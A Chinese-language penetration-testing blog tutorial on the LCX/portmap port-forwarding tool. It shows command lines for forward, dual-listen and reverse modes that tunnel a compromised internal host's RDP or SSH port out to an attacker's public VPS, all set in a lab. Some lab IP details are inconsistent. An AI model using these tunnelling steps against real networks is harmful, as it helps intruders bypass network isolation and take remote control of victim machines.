内网渗透——LCX端口转发

tmx8911
1
2025-05-22

【一】工具介绍


LCX(Local eXecute)是渗透测试中常用的一款端口转发工具,主要用于在目标机器受限的网络环境中进行端口转发,常用于 内网渗透 中打通受限网络。
它的核心作用是:实现端口的映射和转发,打通内外网通信通道

该工具支持三种端口转发模式:正向转发、双监听、反向连接,可用于打通外网与内网之间的通信隧道。

  • 模式1:将本地端口转发到远程主机某个端口上
  • 模式2:将本地端口转发到本地另一个端口上
  • 模式3:是进行监听并进行转发使用

LCX 工具常用于被控主机处于内网环境时的端口转发操作。在实际渗透场景中,即便已经通过木马或其他方式获得了目标主机的控制权限,但由于内网隔离的限制,依然无法直接通过远程终端(如 RDP)对其进行图形化管理与操作,这在一定程度上限制了后续渗透工作的效率和便捷性。

因此,很多情况下,攻击者会设法在目标主机上启用 3389 远程桌面端口,并借助 LCX 工具进行端口转发,使外网主机能够访问内网中的远程服务。通常情况下,外网主机是无法直接访问处于内网的目标主机的,但如果内网主机可以连接公网(如能 ping 通互联网),就可以利用 LCX 实现通信通道的“反向打通”。

具体做法是:将内网主机上的某个端口通过 LCX 转发映射到攻击者外网服务器的某个端口,然后,攻击者可在本地使用远程桌面客户端(如 mstsc 外网:转发的监听端口),通过 LCX 建立的转发通道,间接访问目标内网主机的 3389 远程桌面服务,从而实现对目标主机的图形化远程控制,就像直接访问本地计算机一样。

本质上,LCX 的功能就像是在内网主机与外网攻击者之间搭建了一条“隧道”,实现了类似于在路由器上设置端口映射的效果,从而绕过了内网隔离带来的访问限制。

【二】工具的使用方法

【1】Linux版LCX-portmap

Linux版LCX通常是一个命令行工具,用于内网穿透和端口转发。由于Linux系统自带丰富的网络工具,可以通过命令行方便地运行和集成LCX。

linux下的工具名称为portmap

命令格式:

./portmap -m <模式编号> [-h1 主机1] -p1 端口1 [-h2 主机2] -p2 端口2 [-v] [-log 文件名]

帮助文档:

root@HSYQ-Yun-VPS:~/Tools# ./portmap -help 
Socket data transport tool                  # 工具说明:基于 Socket 的端口数据转发工具,支持监听、中继、转发等功能
by Sofia(www.vuln.cn)                       # 作者署名:Sofia,来自中国网络安全社区 www.vuln.cn

Usage: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]  
# 使用方法说明:必须指定 -m 模式,并根据模式提供主机和端口参数,支持日志记录和版本查看

 -v: version                                # 显示工具版本信息,然后退出
 -h1: host1                                 # 主机1(视模式而定,可能是源主机或目标主机)
 -h2: host2                                 # 主机2(目标主机地址)
 -p1: port1                                 # 端口1(根据模式:监听或连接的源端口)
 -p2: port2                                 # 端口2(根据模式:目标服务端口)
 -log: log the data                         # 将中转的数据记录到指定日志文件中(便于调试/分析)
 -m: the action method for this tool        # 设置运行模式(必选项,必须为 1/2/3 中的一种)

 1: listen on PORT1 and connect to HOST2:PORT2  
    # 模式1:本地监听 PORT1,收到连接后自动连接 HOST2:PORT2,进行数据转发(正向代理)

 2: listen on PORT1 and PORT2              
    # 模式2:同时监听两个端口,当两个客户端连接后,将它们的连接中继互通(如打洞中继)

 3: connect to HOST1:PORT1 and HOST2:PORT2  
    # 模式3:主动同时连接 HOST1:PORT1 和 HOST2:PORT2,然后桥接传输数据(反向通道中继)

Let me exit...all overd                    # 工具退出提示语,风格幽默,表示程序执行完毕
root@HSYQ-Yun-VPS:~/Tools#
参数 是否必填 说明 适用模式
-m ✅ 是 指定运行模式:1、2 或 3 所有模式
-h1 ❌ 否 主机1(取决于模式:模式3必填,模式1/2可省略监听全部) 模式1、3
-p1 ✅ 是 端口1(监听端口或连接端口) 所有模式
-h2 ❌ 否 主机2(目标主机地址) 模式1、3
-p2 ✅ 是 端口2(连接目标端口) 所有模式
-log ❌ 否 启用日志记录功能,后接文件名 所有模式
-v ❌ 否 显示版本号并退出 所有模式

以下所有实验环境为:

攻击机windows 11 :192.168.124.27

靶机(受害机):windows server 2025 :192.168.239.133

中转服务器(内网VPS)ubuntu server 20.04 :192.168.239.133

中转服务器(外网VPS) :14.103. * . *


🔁 模式详解

✅ 模式 1:正向端口转发(Listen → Connect)

  • 用途:在“中转机”上监听某端口,将流量转发到目标主机的某端口
    ⚠️ 仅适用于 中转机能直接访问目标主机 IP:端口 的情况。

  • 注意: 如果中转机无法访问 192.168.1.100(比如它在内网,未做穿透),此方法将失败!

  • 典型应用场景

    • 同一内网环境中转发端口
    • VPN/内网穿透已打通
    • 云服务器通过内网专线或安全组打通了内网服务器

实验拓扑:

中转服务器(内网VPS)ubuntu server 20.04执行:

./portmap -m 1 -p1 8888 -h2 192.168.239.133 -p2 3389

📌 效果:监听本地 8888 端口,转发到 192.168.239.133:3389(目标主机远程桌面)。

使用mstsc命令连接192.168.239.5:8888

输入靶机(受害机):windows server 2025的用户密码连接成功

回头查看中转服务器(内网VPS)ubuntu server 20.04(内网VPS)的回显日志


✅ 模式 2:双端监听(Listen → Listen)

  • 用途:在中转机上同时监听两个端口,实现两端数据互通。适合将 两个都无法主动连接对方的主机,通过中转服务器互通。(前提是双方主机都能与中转服务器通信

实验网络拓扑:

  • 🎯 目标主机(中转机/跳板机)执行:
./portmap -m 2 -p1 8888 -p2 9999


[攻击者机器] ←连接→ [中转机:8888 <====> 9999] ←连接→ [目标机器]

📌 效果:公网服务器监听 8888 和 9999,连接这两个端口的主机可以互相通信。

  • 端口 8888:给 攻击者 连接
  • 端口 9999:给 目标主机(如:反向连接 payload)连接
  • 中转机会把两端数据互通转发

中转服务器(外网VPS) :14.103. * . * 执行:

./portmap -m 2 -p1 8888 -p2 9999

靶机(受害机):windows server 2025靶机的3389端口 转发 到外网服务器(外网VPS) :14.103. * . *8888端口执行命令:

lcx.exe -slave 14.103.*.*  8888 127.0.0.1 3389

内网3389端口转发成功至公网8888端口

🧑‍💻 攻击者主机使用mstsc远程连接靶机 RDP:

mstsc /v:14.103.*.*:9999

输入靶机(受害机):windows server 2025的用户密码连接成功

回头查看中转服务器(外网VPS)的回显日志


✅ 模式 3:反向连接(Connect → Connect)

  • 用途:用于目标主机处于内网或受限环境时,主动连接公网服务器,打通反向通信隧道。

实验网络拓扑:

  • 🎯 内网linux目标主机执行:
./portmap -m 3 -h1 公网IP -p1 1234 -h2 127.0.0.1 -p2 3389

📌 效果:内网主机连接公网IP:1234(建立中转通道),并绑定本地 3389(远程桌面)端口用于转发。

如果内网靶机是Linux则执行:

./portmap -m 3 -h1 14.103.*.* -p1 1234 -h2 127.0.0.1 -p2 22

在使用这条命令前需现在外网VPS上监听对应端口:1234,搭配模式2进行实现

./portmap -m 2 -p1 1234 -p2 6666

正常情况VPS只有监听一个端口即可,但是 portmap这款工具 不能只单独监听一个端口,它在所有模式中都强制要求必须指定两个端口(-p1-p2

此时再回到内网靶机进行端口转发

使用ssh进行连接外网中转服务器6666端口

🧩 实战组合案例:内网主机 RDP 远程穿透

✅ 场景说明:

内网主机开启了 3389 服务,但攻击者无法直接访问。通过端口转发,将内网 RDP 暴露至公网。(此案例较为常见,常用于内网渗透,具体实现与模式详解3类似,以下仅为思路,详细步骤请看模式详解3,以下不再累述!!


🔹 步骤一:公网服务器开启双监听(中转)

./portmap -m 2 -p1 1234 -p2 8888

📌 公网服务器监听两个端口,用于中转连接。(是很有必要的)
模式2(双监听)会让服务器监听两个端口
一个给内网主机连接(比如 1234
一个给攻击者连接(比如 8888
🔁 内网主机接入 → 中转服务器内部转发 → 攻击者连接

需要注意的是这与内网穿透不一样:🌐 “将内网主机3389端口映射到公网服务器1234端口”,攻击者直接连接公网IP:1234。这种功能叫做端口映射 + SOCKS代理 + 隧道穿透


🔹 步骤二:内网主机主动连接公网服务器

./portmap -m 3 -h1 公网IP -p1 1234 -h2 127.0.0.1 -p2 3389

📌 将内网主机的本地 3389 端口映射至公网服务器的 8888 端口。


🔹 步骤三:攻击者连接内网主机远程桌面

mstsc /v:IP:8888

📌 成功通过公网远程访问内网主机的桌面环境。


【2】Windows版LCX

C:\Tools>lcx.exe -help                                      # 运行 lcx.exe 并查看帮助信息
======================== HUC Packet Transmit Tool V1.00 =======================  # 工具名称和版本信息:HUC 数据包转发工具 V1.00
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] ==========  # 作者信息及官网链接

[Usage of Packet Transmit:]                                # 工具使用说明
 lcx.exe -<listen|tran|slave> <option> [-log logfile]      # 基本命令格式,三种模式之一,附加参数及可选日志参数

[option:]                                                 # 参数选项说明
 -listen <ConnectPort> <TransmitPort>                     # 监听模式,监听 ConnectPort 端口,将数据转发到本机的 TransmitPort 端口
 -tran   <ConnectPort> <TransmitHost> <TransmitPort>      # 传输模式,监听本地 ConnectPort 端口,将数据转发到远程主机 TransmitHost 的 TransmitPort 端口
 -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>  # 从属模式,主动连接远程 ConnectHost:ConnectPort,并将数据转发到内网 TransmitHost:TransmitPort

C:\Tools>                                                # 命令行提示符,等待下一条命令

【三】工具下载

百度网盘 密码:mx66

动物装饰